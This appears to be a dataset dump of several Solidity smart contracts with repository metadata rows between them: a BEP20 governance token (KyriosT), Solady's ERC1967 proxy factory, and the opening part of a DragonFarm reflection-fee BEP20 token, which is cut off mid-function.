(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
}
// KyriosT with Governance.
contract KyriosT is BEP20('The Kyrios Token', 'KYRIOS') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "KYRIOS::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "KYRIOS::delegateBySig: invalid nonce");
require(now <= expiry, "KYRIOS::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "KYRIOS::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying KYRIOS (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "KYRIOS::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 172,978 | 241 |
88b4222369c15095afc8a4314531ce888f37e394b7e8cb6b11cb7790843eb2aa
| 26,008 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/00/0000000000006396ff2a80c067f99b3d2ab4df24_ERC1967Factory.sol
| 3,935 | 12,612 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @notice Factory for deploying and managing ERC1967 proxy contracts.
/// @author Solady (https://github.com/vectorized/solady/blob/main/src/utils/ERC1967Factory.sol)
/// @author jtriley-eth (https://github.com/jtriley-eth/minimum-viable-proxy)
contract ERC1967Factory {
/// @dev The caller is not authorized to call the function.
error Unauthorized();
/// @dev The proxy deployment failed.
error DeploymentFailed();
/// @dev The upgrade failed.
error UpgradeFailed();
/// @dev The salt does not start with the caller.
error SaltDoesNotStartWithCaller();
/// @dev `bytes4(keccak256(bytes("Unauthorized()")))`.
uint256 internal constant _UNAUTHORIZED_ERROR_SELECTOR = 0x82b42900;
/// @dev `bytes4(keccak256(bytes("DeploymentFailed()")))`.
uint256 internal constant _DEPLOYMENT_FAILED_ERROR_SELECTOR = 0x30116425;
/// @dev `bytes4(keccak256(bytes("UpgradeFailed()")))`.
uint256 internal constant _UPGRADE_FAILED_ERROR_SELECTOR = 0x55299b49;
/// @dev `bytes4(keccak256(bytes("SaltDoesNotStartWithCaller()")))`.
uint256 internal constant _SALT_DOES_NOT_START_WITH_CALLER_ERROR_SELECTOR = 0x2f634836;
/// @dev The admin of a proxy contract has been changed.
event AdminChanged(address indexed proxy, address indexed admin);
/// @dev The implementation for a proxy has been upgraded.
event Upgraded(address indexed proxy, address indexed implementation);
/// @dev A proxy has been deployed.
event Deployed(address indexed proxy, address indexed implementation, address indexed admin);
/// @dev `keccak256(bytes("AdminChanged(address,address)"))`.
uint256 internal constant _ADMIN_CHANGED_EVENT_SIGNATURE =
0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f;
/// @dev `keccak256(bytes("Upgraded(address,address)"))`.
uint256 internal constant _UPGRADED_EVENT_SIGNATURE =
0x5d611f318680d00598bb735d61bacf0c514c6b50e1e5ad30040a4df2b12791c7;
/// @dev `keccak256(bytes("Deployed(address,address,address)"))`.
uint256 internal constant _DEPLOYED_EVENT_SIGNATURE =
0xc95935a66d15e0da5e412aca0ad27ae891d20b2fb91cf3994b6a3bf2b8178082;
// The admin slot for a `proxy` is given by:
// ```
// mstore(0x0c, address())
// mstore(0x00, proxy)
// let adminSlot := keccak256(0x0c, 0x20)
// ```
/// @dev The ERC-1967 storage slot for the implementation in the proxy.
/// `uint256(keccak256("eip1967.proxy.implementation")) - 1`.
uint256 internal constant _IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/// @dev Returns the admin of the proxy.
function adminOf(address proxy) public view returns (address admin) {
/// @solidity memory-safe-assembly
assembly {
mstore(0x0c, address())
mstore(0x00, proxy)
admin := sload(keccak256(0x0c, 0x20))
}
}
/// @dev Sets the admin of the proxy.
/// The caller of this function must be the admin of the proxy on this factory.
function changeAdmin(address proxy, address admin) public {
/// @solidity memory-safe-assembly
assembly {
// Check if the caller is the admin of the proxy.
mstore(0x0c, address())
mstore(0x00, proxy)
let adminSlot := keccak256(0x0c, 0x20)
if iszero(eq(sload(adminSlot), caller())) {
mstore(0x00, _UNAUTHORIZED_ERROR_SELECTOR)
revert(0x1c, 0x04)
}
// Store the admin for the proxy.
sstore(adminSlot, admin)
// Emit the {AdminChanged} event.
log3(0, 0, _ADMIN_CHANGED_EVENT_SIGNATURE, proxy, admin)
}
}
/// @dev Upgrades the proxy to point to `implementation`.
/// The caller of this function must be the admin of the proxy on this factory.
function upgrade(address proxy, address implementation) public payable {
upgradeAndCall(proxy, implementation, _emptyData());
}
/// @dev Upgrades the proxy to point to `implementation`.
/// Then, calls the proxy with abi encoded `data`.
/// The caller of this function must be the admin of the proxy on this factory.
function upgradeAndCall(address proxy, address implementation, bytes calldata data)
public
payable
{
/// @solidity memory-safe-assembly
assembly {
// Check if the caller is the admin of the proxy.
mstore(0x0c, address())
mstore(0x00, proxy)
if iszero(eq(sload(keccak256(0x0c, 0x20)), caller())) {
mstore(0x00, _UNAUTHORIZED_ERROR_SELECTOR)
revert(0x1c, 0x04)
}
// Set up the calldata to upgrade the proxy.
let m := mload(0x40)
mstore(m, implementation)
mstore(add(m, 0x20), _IMPLEMENTATION_SLOT)
calldatacopy(add(m, 0x40), data.offset, data.length)
// Try upgrading the proxy and revert upon failure.
if iszero(call(gas(), proxy, callvalue(), m, add(0x40, data.length), 0x00, 0x00)) {
// Revert with the `UpgradeFailed` selector if there is no error returndata.
if iszero(returndatasize()) {
mstore(0x00, _UPGRADE_FAILED_ERROR_SELECTOR)
revert(0x1c, 0x04)
}
// Otherwise, bubble up the returned error.
returndatacopy(0x00, 0x00, returndatasize())
revert(0x00, returndatasize())
}
// Emit the {Upgraded} event.
log3(0, 0, _UPGRADED_EVENT_SIGNATURE, proxy, implementation)
}
}
/// @dev Deploys a proxy for `implementation`, with `admin`,
/// and returns its address.
/// The value passed into this function will be forwarded to the proxy.
function deploy(address implementation, address admin) public payable returns (address proxy) {
proxy = deployAndCall(implementation, admin, _emptyData());
}
/// @dev Deploys a proxy for `implementation`, with `admin`,
/// and returns its address.
/// The value passed into this function will be forwarded to the proxy.
/// Then, calls the proxy with abi encoded `data`.
function deployAndCall(address implementation, address admin, bytes calldata data)
public
payable
returns (address proxy)
{
proxy = _deploy(implementation, admin, bytes32(0), false, data);
}
/// @dev Deploys a proxy for `implementation`, with `admin`, `salt`,
/// and returns its deterministic address.
/// The value passed into this function will be forwarded to the proxy.
function deployDeterministic(address implementation, address admin, bytes32 salt)
public
payable
returns (address proxy)
{
proxy = deployDeterministicAndCall(implementation, admin, salt, _emptyData());
}
/// @dev Deploys a proxy for `implementation`, with `admin`, `salt`,
/// and returns its deterministic address.
/// The value passed into this function will be forwarded to the proxy.
/// Then, calls the proxy with abi encoded `data`.
function deployDeterministicAndCall(address implementation,
address admin,
bytes32 salt,
bytes calldata data) public payable returns (address proxy) {
/// @solidity memory-safe-assembly
assembly {
// If the salt does not start with the zero address or the caller.
if iszero(or(iszero(shr(96, salt)), eq(caller(), shr(96, salt)))) {
mstore(0x00, _SALT_DOES_NOT_START_WITH_CALLER_ERROR_SELECTOR)
revert(0x1c, 0x04)
}
}
proxy = _deploy(implementation, admin, salt, true, data);
}
/// @dev Deploys the proxy, with optionality to deploy deterministically with a `salt`.
function _deploy(address implementation,
address admin,
bytes32 salt,
bool useSalt,
bytes calldata data) internal returns (address proxy) {
bytes memory m = _initCode();
/// @solidity memory-safe-assembly
assembly {
// Create the proxy.
switch useSalt
case 0 { proxy := create(0, add(m, 0x13), 0x89) }
default { proxy := create2(0, add(m, 0x13), 0x89, salt) }
// Revert if the creation fails.
if iszero(proxy) {
mstore(0x00, _DEPLOYMENT_FAILED_ERROR_SELECTOR)
revert(0x1c, 0x04)
}
// Set up the calldata to set the implementation of the proxy.
mstore(m, implementation)
mstore(add(m, 0x20), _IMPLEMENTATION_SLOT)
calldatacopy(add(m, 0x40), data.offset, data.length)
// Try setting the implementation on the proxy and revert upon failure.
if iszero(call(gas(), proxy, callvalue(), m, add(0x40, data.length), 0x00, 0x00)) {
// Revert with the `DeploymentFailed` selector if there is no error returndata.
if iszero(returndatasize()) {
mstore(0x00, _DEPLOYMENT_FAILED_ERROR_SELECTOR)
revert(0x1c, 0x04)
}
// Otherwise, bubble up the returned error.
returndatacopy(0x00, 0x00, returndatasize())
revert(0x00, returndatasize())
}
// Store the admin for the proxy.
mstore(0x0c, address())
mstore(0x00, proxy)
sstore(keccak256(0x0c, 0x20), admin)
// Emit the {Deployed} event.
log4(0, 0, _DEPLOYED_EVENT_SIGNATURE, proxy, implementation, admin)
}
}
/// @dev Returns the address of the proxy deployed with `salt`.
function predictDeterministicAddress(bytes32 salt) public view returns (address predicted) {
bytes32 hash = initCodeHash();
/// @solidity memory-safe-assembly
assembly {
// Compute and store the bytecode hash.
mstore8(0x00, 0xff) // Write the prefix.
mstore(0x35, hash)
mstore(0x01, shl(96, address()))
mstore(0x15, salt)
predicted := keccak256(0x00, 0x55)
// Restore the part of the free memory pointer that has been overwritten.
mstore(0x35, 0)
}
}
/// @dev Returns the initialization code hash of the proxy.
/// Used for mining vanity addresses with create2crunch.
function initCodeHash() public view returns (bytes32 result) {
bytes memory m = _initCode();
/// @solidity memory-safe-assembly
assembly {
result := keccak256(add(m, 0x13), 0x89)
}
}
/// @dev Returns the initialization code of a proxy created via this factory.
function _initCode() internal view returns (bytes memory m) {
/// @solidity memory-safe-assembly
assembly {
m := mload(0x40)
// forgefmt: disable-start
switch shr(112, address())
case 0 {
// If the factory's address has six or more leading zero bytes.
mstore(add(m, 0x75), 0x604c573d6000fd) // 7
mstore(add(m, 0x6e), 0x3d3560203555604080361115604c5736038060403d373d3d355af43d6000803e) // 32
mstore(add(m, 0x4e), 0x3735a920a3ca505d382bbc545af43d6000803e604c573d6000fd5b3d6000f35b) // 32
mstore(add(m, 0x2e), 0x14605157363d3d37363d7f360894a13ba1a3210667c828492db98dca3e2076cc) // 32
mstore(add(m, 0x0e), address()) // 14
mstore(m, 0x60793d8160093d39f33d3d336d) // 9 + 4
}
default {
mstore(add(m, 0x7b), 0x6052573d6000fd) // 7
mstore(add(m, 0x74), 0x3d356020355560408036111560525736038060403d373d3d355af43d6000803e) // 32
mstore(add(m, 0x54), 0x3735a920a3ca505d382bbc545af43d6000803e6052573d6000fd5b3d6000f35b) // 32
mstore(add(m, 0x34), 0x14605757363d3d37363d7f360894a13ba1a3210667c828492db98dca3e2076cc) // 32
mstore(add(m, 0x14), address()) // 20
mstore(m, 0x607f3d8160093d39f33d3d3373) // 9 + 4
}
// forgefmt: disable-end
}
}
/// @dev Helper function to return an empty bytes calldata.
function _emptyData() internal pure returns (bytes calldata data) {
/// @solidity memory-safe-assembly
assembly {
data.length := 0
}
}
}
| 29,222 | 242 |
62cb1e4b58cc7182b3e7cf80a75b93f5ad9b22f2abaa1810e2d49bc8ef4752d4
| 29,193 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xC5F85093C0F4574e1a847093cb9933F9a673Cf66/contract.sol
| 5,156 | 18,417 |
//
// DragonFarm $DRAGON Binance Smart Chain BEP20 contract
//
// TG: https://t.me/DragonFarm_finance
// Web: https://dragonfarm.finance
//
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DragonToken is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint8 private constant _decimals = 8;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000 * 10 ** uint256(_decimals);
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Dragon.finance';
string private constant _symbol = 'DRGN';
uint256 private _taxFee = 180;
uint256 private _burnFee = 220;
uint private _max_tx_size = 100000000 * 10 ** uint256(_decimals);
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
